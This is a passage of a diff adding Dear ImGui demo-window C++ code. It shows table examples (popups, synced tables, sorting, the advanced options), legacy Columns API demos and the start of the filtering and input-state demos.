ImGui::TableHeadersRow(); + for (int row = 0; row < 4; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < COLUMNS_COUNT; column++) + { + // Submit dummy contents + ImGui::TableSetColumnIndex(column); + ImGui::Text("Cell %d,%d", column, row); + ImGui::SameLine(); + + // [2.2] Right-click on the ".." to open a custom popup + ImGui::PushID(row * COLUMNS_COUNT + column); + ImGui::SmallButton(".."); + if (ImGui::BeginPopupContextItem()) + { + ImGui::Text("This is the popup for Button(\"..\") in Cell %d,%d", column, row); + if (ImGui::Button("Close")) + ImGui::CloseCurrentPopup(); + ImGui::EndPopup(); + } + ImGui::PopID(); + } + } + + // [2.3] Right-click anywhere in columns to open another custom popup + // (instead of testing for !IsAnyItemHovered() we could also call OpenPopup() with ImGuiPopupFlags_NoOpenOverExistingPopup + // to manage popup priority as the popups triggers, here "are we hovering a column" are overlapping) + int hovered_column = -1; + for (int column = 0; column < COLUMNS_COUNT + 1; column++) + { + ImGui::PushID(column); + if (ImGui::TableGetColumnFlags(column) & ImGuiTableColumnFlags_IsHovered) + hovered_column = column; + if (hovered_column == column && !ImGui::IsAnyItemHovered() && ImGui::IsMouseReleased(1)) + ImGui::OpenPopup("MyPopup"); + if (ImGui::BeginPopup("MyPopup")) + { + if (column == COLUMNS_COUNT) + ImGui::Text("This is a custom popup for unused space after the last column."); + else + ImGui::Text("This is a custom popup for Column %d", column); + if (ImGui::Button("Close")) + ImGui::CloseCurrentPopup(); + ImGui::EndPopup(); + } + ImGui::PopID(); + } + + ImGui::EndTable(); + ImGui::Text("Hovered column: %d", hovered_column); + } + ImGui::TreePop(); + } + + // Demonstrate creating multiple tables with the same ID + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Synced instances")) + { + HelpMarker("Multiple tables with the same identifier will share their settings, width, visibility, order etc."); + for (int n = 0; n < 3; n++) + { + char buf[32]; + sprintf(buf, "Synced Table %d", n); + bool open = ImGui::CollapsingHeader(buf, ImGuiTreeNodeFlags_DefaultOpen); + if (open && ImGui::BeginTable("Table", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders | ImGuiTableFlags_SizingPolicyFixed | ImGuiTableFlags_NoSavedSettings)) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableHeadersRow(); + for (int cell = 0; cell < 9; cell++) + { + ImGui::TableNextColumn(); + ImGui::Text("this cell %d", cell); + } + ImGui::EndTable(); + } + } + ImGui::TreePop(); + } + + // Demonstrate using Sorting facilities + // This is a simplified version of the "Advanced" example, where we mostly focus on the code necessary to handle sorting. + // Note that the "Advanced" example also showcase manually triggering a sort (e.g. if item quantities have been modified) + static const char* template_items_names[] = + { + "Banana", "Apple", "Cherry", "Watermelon", "Grapefruit", "Strawberry", "Mango", + "Kiwi", "Orange", "Pineapple", "Blueberry", "Plum", "Coconut", "Pear", "Apricot" + }; + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Sorting")) + { + // Create item list + static ImVector items; + if (items.Size == 0) + { + items.resize(50, MyItem()); + for (int n = 0; n < items.Size; n++) + { + const int template_n = n % IM_ARRAYSIZE(template_items_names); + MyItem& item = items[n]; + item.ID = n; + item.Name = template_items_names[template_n]; + item.Quantity = (n * n - n) % 20; // Assign default quantities + } + } + + // Options + static ImGuiTableFlags flags = + ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Sortable | ImGuiTableFlags_SortMulti + | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_NoBordersInBody + | ImGuiTableFlags_ScrollY; + ImGui::CheckboxFlags("ImGuiTableFlags_SortMulti", &flags, ImGuiTableFlags_SortMulti); + ImGui::SameLine(); HelpMarker("When sorting is enabled: hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1)."); + ImGui::CheckboxFlags("ImGuiTableFlags_SortTristate", &flags, ImGuiTableFlags_SortTristate); + ImGui::SameLine(); HelpMarker("When sorting is enabled: allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0)."); + + if (ImGui::BeginTable("##table", 4, flags, ImVec2(-FLT_MIN, TEXT_BASE_HEIGHT * 15), 0.0f)) + { + // Declare columns + // We use the "user_id" parameter of TableSetupColumn() to specify a user id that will be stored in the sort specifications. + // This is so our sort function can identify a column given our own identifier. We could also identify them based on their index! + // Demonstrate using a mixture of flags among available sort-related flags: + // - ImGuiTableColumnFlags_DefaultSort + // - ImGuiTableColumnFlags_NoSort / ImGuiTableColumnFlags_NoSortAscending / ImGuiTableColumnFlags_NoSortDescending + // - ImGuiTableColumnFlags_PreferSortAscending / ImGuiTableColumnFlags_PreferSortDescending + ImGui::TableSetupColumn("ID", ImGuiTableColumnFlags_DefaultSort | ImGuiTableColumnFlags_WidthFixed, -1.0f, MyItemColumnID_ID); + ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_WidthFixed, -1.0f, MyItemColumnID_Name); + ImGui::TableSetupColumn("Action", ImGuiTableColumnFlags_NoSort | ImGuiTableColumnFlags_WidthFixed, -1.0f, MyItemColumnID_Action); + ImGui::TableSetupColumn("Quantity", ImGuiTableColumnFlags_PreferSortDescending | ImGuiTableColumnFlags_WidthStretch, -1.0f, MyItemColumnID_Quantity); + ImGui::TableSetupScrollFreeze(0, 1); // Make row always visible + ImGui::TableHeadersRow(); + + // Sort our data if sort specs have been changed! + if (ImGuiTableSortSpecs* sorts_specs = ImGui::TableGetSortSpecs()) + if (sorts_specs->SpecsDirty) + { + MyItem::s_current_sort_specs = sorts_specs; // Store in variable accessible by the sort function. + if (items.Size > 1) + qsort(&items[0], (size_t)items.Size, sizeof(items[0]), MyItem::CompareWithSortSpecs); + MyItem::s_current_sort_specs = NULL; + sorts_specs->SpecsDirty = false; + } + + // Demonstrate using clipper for large vertical lists + ImGuiListClipper clipper; + clipper.Begin(items.Size); + while (clipper.Step()) + for (int row_n = clipper.DisplayStart; row_n < clipper.DisplayEnd; row_n++) + { + // Display a data item + MyItem* item = &items[row_n]; + ImGui::PushID(item->ID); + ImGui::TableNextRow(); + ImGui::TableNextColumn(); + ImGui::Text("%04d", item->ID); + ImGui::TableNextColumn(); + ImGui::TextUnformatted(item->Name); + ImGui::TableNextColumn(); + ImGui::SmallButton("None"); + ImGui::TableNextColumn(); + ImGui::Text("%d", item->Quantity); + ImGui::PopID(); + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + //ImGui::SetNextItemOpen(true, ImGuiCond_Once); // [DEBUG] + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Advanced")) + { + static ImGuiTableFlags flags = + ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable + | ImGuiTableFlags_Sortable | ImGuiTableFlags_SortMulti + | ImGuiTableFlags_RowBg | ImGuiTableFlags_Borders | ImGuiTableFlags_NoBordersInBody + | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY + | ImGuiTableFlags_SizingPolicyFixed; + + enum ContentsType { CT_Text, CT_Button, CT_SmallButton, CT_FillButton, CT_Selectable, CT_SelectableSpanRow }; + static int contents_type = CT_SelectableSpanRow; + const char* contents_type_names[] = { "Text", "Button", "SmallButton", "FillButton", "Selectable", "Selectable (span row)" }; + static int freeze_cols = 1; + static int freeze_rows = 1; + static int items_count = IM_ARRAYSIZE(template_items_names) * 2; + static ImVec2 outer_size_value = ImVec2(-FLT_MIN, TEXT_BASE_HEIGHT * 12); + static float row_min_height = 0.0f; // Auto + static float inner_width_with_scroll = 0.0f; // Auto-extend + static bool outer_size_enabled = true; + static bool show_headers = true; + static bool show_wrapped_text = false; + //static ImGuiTextFilter filter; + //ImGui::SetNextItemOpen(true, ImGuiCond_Once); // FIXME-TABLE: Enabling this results in initial clipped first pass on table which tend to affects column sizing + if (ImGui::TreeNode("Options")) + { + // Make the UI compact because there are so many fields + PushStyleCompact(); + ImGui::PushItemWidth(TEXT_BASE_WIDTH * 28.0f); + + if (ImGui::TreeNodeEx("Features:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); + ImGui::CheckboxFlags("ImGuiTableFlags_Reorderable", &flags, ImGuiTableFlags_Reorderable); + ImGui::CheckboxFlags("ImGuiTableFlags_Hideable", &flags, ImGuiTableFlags_Hideable); + ImGui::CheckboxFlags("ImGuiTableFlags_Sortable", &flags, ImGuiTableFlags_Sortable); + ImGui::CheckboxFlags("ImGuiTableFlags_NoSavedSettings", &flags, ImGuiTableFlags_NoSavedSettings); + ImGui::CheckboxFlags("ImGuiTableFlags_ContextMenuInBody", &flags, ImGuiTableFlags_ContextMenuInBody); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Decorations:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags, ImGuiTableFlags_BordersH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterH", &flags, ImGuiTableFlags_BordersOuterH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerH", &flags, ImGuiTableFlags_BordersInnerH); + ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body (borders will always appears in Headers"); + ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBodyUntilResize", &flags, ImGuiTableFlags_NoBordersInBodyUntilResize); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers)"); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Sizing:", ImGuiTreeNodeFlags_DefaultOpen)) + { + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyStretch", &flags, ImGuiTableFlags_SizingPolicyStretch)) + flags &= ~ImGuiTableFlags_SizingPolicyFixed; // Can't specify both sizing polices so we clear the other + ImGui::SameLine(); HelpMarker("[Default if ScrollX is off]\nFit all columns within available width (or specified inner_width). Fixed and Stretch columns allowed."); + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyFixed", &flags, ImGuiTableFlags_SizingPolicyFixed)) + flags &= ~ImGuiTableFlags_SizingPolicyStretch; // Can't specify both sizing polices so we clear the other + ImGui::SameLine(); HelpMarker("[Default if ScrollX is on]\nEnlarge as needed: enable scrollbar if ScrollX is enabled, otherwise extend parent window's contents rectangle. Only Fixed columns allowed. Stretched columns will calculate their width assuming no scrolling."); + ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendY", &flags, ImGuiTableFlags_NoHostExtendY); + ImGui::CheckboxFlags("ImGuiTableFlags_NoKeepColumnsVisible", &flags, ImGuiTableFlags_NoKeepColumnsVisible); + ImGui::SameLine(); HelpMarker("Only available if ScrollX is disabled."); + ImGui::CheckboxFlags("ImGuiTableFlags_PreciseWidths", &flags, ImGuiTableFlags_PreciseWidths); + ImGui::SameLine(); HelpMarker("Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth."); + ImGui::CheckboxFlags("ImGuiTableFlags_SameWidths", &flags, ImGuiTableFlags_SameWidths); + ImGui::CheckboxFlags("ImGuiTableFlags_NoClip", &flags, ImGuiTableFlags_NoClip); + ImGui::SameLine(); HelpMarker("Disable clipping rectangle for every individual columns (reduce draw command count, items will be able to overflow into other columns). Generally incompatible with ScrollFreeze options."); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Padding:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::CheckboxFlags("ImGuiTableFlags_PadOuterX", &flags, ImGuiTableFlags_PadOuterX); + ImGui::CheckboxFlags("ImGuiTableFlags_NoPadOuterX", &flags, ImGuiTableFlags_NoPadOuterX); + ImGui::CheckboxFlags("ImGuiTableFlags_NoPadInnerX", &flags, ImGuiTableFlags_NoPadInnerX); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Scrolling:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); + ImGui::SameLine(); + ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); + ImGui::DragInt("freeze_cols", &freeze_cols, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); + ImGui::SameLine(); + ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); + ImGui::DragInt("freeze_rows", &freeze_rows, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Sorting:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::CheckboxFlags("ImGuiTableFlags_SortMulti", &flags, ImGuiTableFlags_SortMulti); + ImGui::SameLine(); HelpMarker("When sorting is enabled: hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1)."); + ImGui::CheckboxFlags("ImGuiTableFlags_SortTristate", &flags, ImGuiTableFlags_SortTristate); + ImGui::SameLine(); HelpMarker("When sorting is enabled: allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0)."); + ImGui::TreePop(); + } + + if (ImGui::TreeNodeEx("Other:", ImGuiTreeNodeFlags_DefaultOpen)) + { + ImGui::Checkbox("show_headers", &show_headers); + ImGui::Checkbox("show_wrapped_text", &show_wrapped_text); + + ImGui::DragFloat2("##OuterSize", &outer_size_value.x); + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); + ImGui::Checkbox("outer_size", &outer_size_enabled); + ImGui::SameLine(); + HelpMarker("If scrolling is disabled (ScrollX and ScrollY not set):\n" + "- The table is output directly in the parent window.\n" + "- OuterSize.x < 0.0f will right-align the table.\n" + "- OuterSize.x = 0.0f will narrow fit the table unless there are any Stretch column.\n" + "- OuterSize.y then becomes the minimum size for the table, which will extend vertically if there are more rows (unless NoHostExtendY is set)."); + + // From a user point of view we will tend to use 'inner_width' differently depending on whether our table is embedding scrolling. + // To facilitate toying with this demo we will actually pass 0.0f to the BeginTable() when ScrollX is disabled. + ImGui::DragFloat("inner_width (when ScrollX active)", &inner_width_with_scroll, 1.0f, 0.0f, FLT_MAX); + + ImGui::DragFloat("row_min_height", &row_min_height, 1.0f, 0.0f, FLT_MAX); + ImGui::SameLine(); HelpMarker("Specify height of the Selectable item."); + + ImGui::DragInt("items_count", &items_count, 0.1f, 0, 9999); + ImGui::Combo("items_type (first column)", &contents_type, contents_type_names, IM_ARRAYSIZE(contents_type_names)); + //filter.Draw("filter"); + ImGui::TreePop(); + } + + ImGui::PopItemWidth(); + PopStyleCompact(); + ImGui::Spacing(); + ImGui::TreePop(); + } + + // Recreate/reset item list if we changed the number of items + static ImVector items; + static ImVector selection; + static bool items_need_sort = false; + if (items.Size != items_count) + { + items.resize(items_count, MyItem()); + for (int n = 0; n < items_count; n++) + { + const int template_n = n % IM_ARRAYSIZE(template_items_names); + MyItem& item = items[n]; + item.ID = n; + item.Name = template_items_names[template_n]; + item.Quantity = (template_n == 3) ? 10 : (template_n == 4) ? 20 : 0; // Assign default quantities + } + } + + const ImDrawList* parent_draw_list = ImGui::GetWindowDrawList(); + const int parent_draw_list_draw_cmd_count = parent_draw_list->CmdBuffer.Size; + ImVec2 table_scroll_cur, table_scroll_max; // For debug display + const ImDrawList* table_draw_list = NULL; // " + + const float inner_width_to_use = (flags & ImGuiTableFlags_ScrollX) ? inner_width_with_scroll : 0.0f; + if (ImGui::BeginTable("##table", 6, flags, outer_size_enabled ? outer_size_value : ImVec2(0, 0), inner_width_to_use)) + { + // Declare columns + // We use the "user_id" parameter of TableSetupColumn() to specify a user id that will be stored in the sort specifications. + // This is so our sort function can identify a column given our own identifier. We could also identify them based on their index! + ImGui::TableSetupColumn("ID", ImGuiTableColumnFlags_DefaultSort | ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_NoHide, -1.0f, MyItemColumnID_ID); + ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_WidthFixed, -1.0f, MyItemColumnID_Name); + ImGui::TableSetupColumn("Action", ImGuiTableColumnFlags_NoSort | ImGuiTableColumnFlags_WidthFixed, -1.0f, MyItemColumnID_Action); + ImGui::TableSetupColumn("Quantity", ImGuiTableColumnFlags_PreferSortDescending, -1.0f, MyItemColumnID_Quantity); + ImGui::TableSetupColumn("Description", ImGuiTableColumnFlags_WidthStretch, -1.0f, MyItemColumnID_Description); + ImGui::TableSetupColumn("Hidden", ImGuiTableColumnFlags_DefaultHide | ImGuiTableColumnFlags_NoSort); + ImGui::TableSetupScrollFreeze(freeze_cols, freeze_rows); + + // Sort our data if sort specs have been changed! + ImGuiTableSortSpecs* sorts_specs = ImGui::TableGetSortSpecs(); + if (sorts_specs && sorts_specs->SpecsDirty) + items_need_sort = true; + if (sorts_specs && items_need_sort && items.Size > 1) + { + MyItem::s_current_sort_specs = sorts_specs; // Store in variable accessible by the sort function. + qsort(&items[0], (size_t)items.Size, sizeof(items[0]), MyItem::CompareWithSortSpecs); + MyItem::s_current_sort_specs = NULL; + sorts_specs->SpecsDirty = false; + } + items_need_sort = false; + + // Take note of whether we are currently sorting based on the Quantity field, + // we will use this to trigger sorting when we know the data of this column has been modified. + const bool sorts_specs_using_quantity = (ImGui::TableGetColumnFlags(3) & ImGuiTableColumnFlags_IsSorted) != 0; + + // Show headers + if (show_headers) + ImGui::TableHeadersRow(); + + // Show data + // FIXME-TABLE FIXME-NAV: How we can get decent up/down even though we have the buttons here? + ImGui::PushButtonRepeat(true); +#if 1 + // Demonstrate using clipper for large vertical lists + ImGuiListClipper clipper; + clipper.Begin(items.Size); + while (clipper.Step()) + { + for (int row_n = clipper.DisplayStart; row_n < clipper.DisplayEnd; row_n++) +#else + // Without clipper + { + for (int row_n = 0; row_n < items.Size; row_n++) +#endif + { + MyItem* item = &items[row_n]; + //if (!filter.PassFilter(item->Name)) + // continue; + + const bool item_is_selected = selection.contains(item->ID); + ImGui::PushID(item->ID); + ImGui::TableNextRow(ImGuiTableRowFlags_None, row_min_height); + ImGui::TableNextColumn(); + + // For the demo purpose we can select among different type of items submitted in the first column + char label[32]; + sprintf(label, "%04d", item->ID); + if (contents_type == CT_Text) + ImGui::TextUnformatted(label); + else if (contents_type == CT_Button) + ImGui::Button(label); + else if (contents_type == CT_SmallButton) + ImGui::SmallButton(label); + else if (contents_type == CT_FillButton) + ImGui::Button(label, ImVec2(-FLT_MIN, 0.0f)); + else if (contents_type == CT_Selectable || contents_type == CT_SelectableSpanRow) + { + ImGuiSelectableFlags selectable_flags = (contents_type == CT_SelectableSpanRow) ? ImGuiSelectableFlags_SpanAllColumns | ImGuiSelectableFlags_AllowItemOverlap : ImGuiSelectableFlags_None; + if (ImGui::Selectable(label, item_is_selected, selectable_flags, ImVec2(0, row_min_height))) + { + if (ImGui::GetIO().KeyCtrl) + { + if (item_is_selected) + selection.find_erase_unsorted(item->ID); + else + selection.push_back(item->ID); + } + else + { + selection.clear(); + selection.push_back(item->ID); + } + } + } + + if (ImGui::TableNextColumn()) + ImGui::TextUnformatted(item->Name); + + // Here we demonstrate marking our data set as needing to be sorted again if we modified a quantity, + // and we are currently sorting on the column showing the Quantity. + // To avoid triggering a sort while holding the button, we only trigger it when the button has been released. + // You will probably need a more advanced system in your code if you want to automatically sort when a specific entry changes. + if (ImGui::TableNextColumn()) + { + if (ImGui::SmallButton("Chop")) { item->Quantity += 1; } + if (sorts_specs_using_quantity && ImGui::IsItemDeactivated()) { items_need_sort = true; } + ImGui::SameLine(); + if (ImGui::SmallButton("Eat")) { item->Quantity -= 1; } + if (sorts_specs_using_quantity && ImGui::IsItemDeactivated()) { items_need_sort = true; } + } + + if (ImGui::TableNextColumn()) + ImGui::Text("%d", item->Quantity); + + ImGui::TableNextColumn(); + if (show_wrapped_text) + ImGui::TextWrapped("Lorem ipsum dolor sit amet"); + else + ImGui::Text("Lorem ipsum dolor sit amet"); + + if (ImGui::TableNextColumn()) + ImGui::Text("1234"); + + ImGui::PopID(); + } + } + ImGui::PopButtonRepeat(); + + // Store some info to display debug details below + table_scroll_cur = ImVec2(ImGui::GetScrollX(), ImGui::GetScrollY()); + table_scroll_max = ImVec2(ImGui::GetScrollMaxX(), ImGui::GetScrollMaxY()); + table_draw_list = ImGui::GetWindowDrawList(); + ImGui::EndTable(); + } + static bool show_debug_details = false; + ImGui::Checkbox("Debug details", &show_debug_details); + if (show_debug_details && table_draw_list) + { + ImGui::SameLine(0.0f, 0.0f); + const int table_draw_list_draw_cmd_count = table_draw_list->CmdBuffer.Size; + if (table_draw_list == parent_draw_list) + ImGui::Text(": DrawCmd: +%d (in same window)", + table_draw_list_draw_cmd_count - parent_draw_list_draw_cmd_count); + else + ImGui::Text(": DrawCmd: +%d (in child window), Scroll: (%.f/%.f) (%.f/%.f)", + table_draw_list_draw_cmd_count - 1, table_scroll_cur.x, table_scroll_max.x, table_scroll_cur.y, table_scroll_max.y); + } + ImGui::TreePop(); + } + + ImGui::PopID(); + + ShowDemoWindowColumns(); + + if (disable_indent) + ImGui::PopStyleVar(); +} + +// Demonstrate old/legacy Columns API! +// [2020: Columns are under-featured and not maintained. Prefer using the more flexible and powerful BeginTable() API!] +static void ShowDemoWindowColumns() +{ + bool open = ImGui::TreeNode("Legacy Columns API"); + ImGui::SameLine(); + HelpMarker("Columns() is an old API! Prefer using the more flexible and powerful BeginTable() API!"); + if (!open) + return; + + // Basic columns + if (ImGui::TreeNode("Basic")) + { + ImGui::Text("Without border:"); + ImGui::Columns(3, "mycolumns3", false); // 3-ways, no border + ImGui::Separator(); + for (int n = 0; n < 14; n++) + { + char label[32]; + sprintf(label, "Item %d", n); + if (ImGui::Selectable(label)) {} + //if (ImGui::Button(label, ImVec2(-FLT_MIN,0.0f))) {} + ImGui::NextColumn(); + } + ImGui::Columns(1); + ImGui::Separator(); + + ImGui::Text("With border:"); + ImGui::Columns(4, "mycolumns"); // 4-ways, with border + ImGui::Separator(); + ImGui::Text("ID"); ImGui::NextColumn(); + ImGui::Text("Name"); ImGui::NextColumn(); + ImGui::Text("Path"); ImGui::NextColumn(); + ImGui::Text("Hovered"); ImGui::NextColumn(); + ImGui::Separator(); + const char* names[3] = { "One", "Two", "Three" }; + const char* paths[3] = { "/path/one", "/path/two", "/path/three" }; + static int selected = -1; + for (int i = 0; i < 3; i++) + { + char label[32]; + sprintf(label, "%04d", i); + if (ImGui::Selectable(label, selected == i, ImGuiSelectableFlags_SpanAllColumns)) + selected = i; + bool hovered = ImGui::IsItemHovered(); + ImGui::NextColumn(); + ImGui::Text(names[i]); ImGui::NextColumn(); + ImGui::Text(paths[i]); ImGui::NextColumn(); + ImGui::Text("%d", hovered); ImGui::NextColumn(); + } + ImGui::Columns(1); + ImGui::Separator(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Borders")) + { + // NB: Future columns API should allow automatic horizontal borders. + static bool h_borders = true; + static bool v_borders = true; + static int columns_count = 4; + const int lines_count = 3; + ImGui::SetNextItemWidth(ImGui::GetFontSize() * 8); + ImGui::DragInt("##columns_count", &columns_count, 0.1f, 2, 10, "%d columns"); + if (columns_count < 2) + columns_count = 2; + ImGui::SameLine(); + ImGui::Checkbox("horizontal", &h_borders); + ImGui::SameLine(); + ImGui::Checkbox("vertical", &v_borders); + ImGui::Columns(columns_count, NULL, v_borders); + for (int i = 0; i < columns_count * lines_count; i++) + { + if (h_borders && ImGui::GetColumnIndex() == 0) + ImGui::Separator(); + ImGui::Text("%c%c%c", 'a' + i, 'a' + i, 'a' + i); + ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); + ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x); + ImGui::Text("Offset %.2f", ImGui::GetColumnOffset()); + ImGui::Text("Long text that is likely to clip"); + ImGui::Button("Button", ImVec2(-FLT_MIN, 0.0f)); + ImGui::NextColumn(); + } + ImGui::Columns(1); + if (h_borders) + ImGui::Separator(); + ImGui::TreePop(); + } + + // Create multiple items in a same cell before switching to next column + if (ImGui::TreeNode("Mixed items")) + { + ImGui::Columns(3, "mixed"); + ImGui::Separator(); + + ImGui::Text("Hello"); + ImGui::Button("Banana"); + ImGui::NextColumn(); + + ImGui::Text("ImGui"); + ImGui::Button("Apple"); + static float foo = 1.0f; + ImGui::InputFloat("red", &foo, 0.05f, 0, "%.3f"); + ImGui::Text("An extra line here."); + ImGui::NextColumn(); + + ImGui::Text("Sailor"); + ImGui::Button("Corniflower"); + static float bar = 1.0f; + ImGui::InputFloat("blue", &bar, 0.05f, 0, "%.3f"); + ImGui::NextColumn(); + + if (ImGui::CollapsingHeader("Category A")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); + if (ImGui::CollapsingHeader("Category B")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); + if (ImGui::CollapsingHeader("Category C")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); + ImGui::Columns(1); + ImGui::Separator(); + ImGui::TreePop(); + } + + // Word wrapping + if (ImGui::TreeNode("Word-wrapping")) + { + ImGui::Columns(2, "word-wrapping"); + ImGui::Separator(); + ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); + ImGui::TextWrapped("Hello Left"); + ImGui::NextColumn(); + ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); + ImGui::TextWrapped("Hello Right"); + ImGui::Columns(1); + ImGui::Separator(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Horizontal Scrolling")) + { + ImGui::SetNextWindowContentSize(ImVec2(1500.0f, 0.0f)); + ImVec2 child_size = ImVec2(0, ImGui::GetFontSize() * 20.0f); + ImGui::BeginChild("##ScrollingRegion", child_size, false, ImGuiWindowFlags_HorizontalScrollbar); + ImGui::Columns(10); + + // Also demonstrate using clipper for large vertical lists + int ITEMS_COUNT = 2000; + ImGuiListClipper clipper; + clipper.Begin(ITEMS_COUNT); + while (clipper.Step()) + { + for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) + for (int j = 0; j < 10; j++) + { + ImGui::Text("Line %d Column %d...", i, j); + ImGui::NextColumn(); + } + } + ImGui::Columns(1); + ImGui::EndChild(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Tree")) + { + ImGui::Columns(2, "tree", true); + for (int x = 0; x < 3; x++) + { + bool open1 = ImGui::TreeNode((void*)(intptr_t)x, "Node%d", x); + ImGui::NextColumn(); + ImGui::Text("Node contents"); + ImGui::NextColumn(); + if (open1) + { + for (int y = 0; y < 3; y++) + { + bool open2 = ImGui::TreeNode((void*)(intptr_t)y, "Node%d.%d", x, y); + ImGui::NextColumn(); + ImGui::Text("Node contents"); + if (open2) + { + ImGui::Text("Even more contents"); + if (ImGui::TreeNode("Tree in column")) + { + ImGui::Text("The quick brown fox jumps over the lazy dog"); + ImGui::TreePop(); + } + } + ImGui::NextColumn(); + if (open2) + ImGui::TreePop(); + } + ImGui::TreePop(); + } + } + ImGui::Columns(1); + ImGui::TreePop(); + } + + ImGui::TreePop(); +} + +static void ShowDemoWindowMisc() +{ + if (ImGui::CollapsingHeader("Filtering")) + { + // Helper class to easy setup a text filter. + // You may want to implement a more feature-full filtering scheme in your own application. + static ImGuiTextFilter filter; + ImGui::Text("Filter usage:\n" + " \"\" display all lines\n" + " \"xxx\" display lines containing \"xxx\"\n" + " \"xxx,yyy\" display lines containing \"xxx\" or \"yyy\"\n" + " \"-xxx\" hide lines containing \"xxx\""); + filter.Draw(); + const char* lines[] = { "aaa1.c", "bbb1.c", "ccc1.c", "aaa2.cpp", "bbb2.cpp", "ccc2.cpp", "abc.h", "hello, world" }; + for (int i = 0; i < IM_ARRAYSIZE(lines); i++) + if (filter.PassFilter(lines[i])) + ImGui::BulletText("%s", lines[i]); + } + + if (ImGui::CollapsingHeader("Inputs, Navigation & Focus")) + { + ImGuiIO& io = ImGui::GetIO(); + + // Display ImGuiIO output flags + ImGui::Text("WantCaptureMouse: %d", io.WantCaptureMouse); + ImGui::Text("WantCaptureKeyboard: %d", io.WantCaptureKeyboard); + ImGui::Text("WantTextInput: %d", io.WantTextInput); + ImGui::Text("WantSetMousePos: %d", io.WantSetMousePos); + ImGui::Text("NavActive: %d, NavVisible: %d", io.NavActive, io.NavVisible); + + // Display Keyboard/Mouse state + if (ImGui::TreeNode("Keyboard, Mouse & Navigation State")) + { + if (ImGui::IsMousePosValid()) + ImGui::Text("Mouse pos: (%g, %g)", io.MousePos.x, io.MousePos.y); + else + ImGui::Text("Mouse pos: "); + ImGui::Text("Mouse delta: (%g, %g)", io.MouseDelta.x, io.MouseDelta.y); + ImGui::Text("Mouse down:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (io.MouseDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("b%d 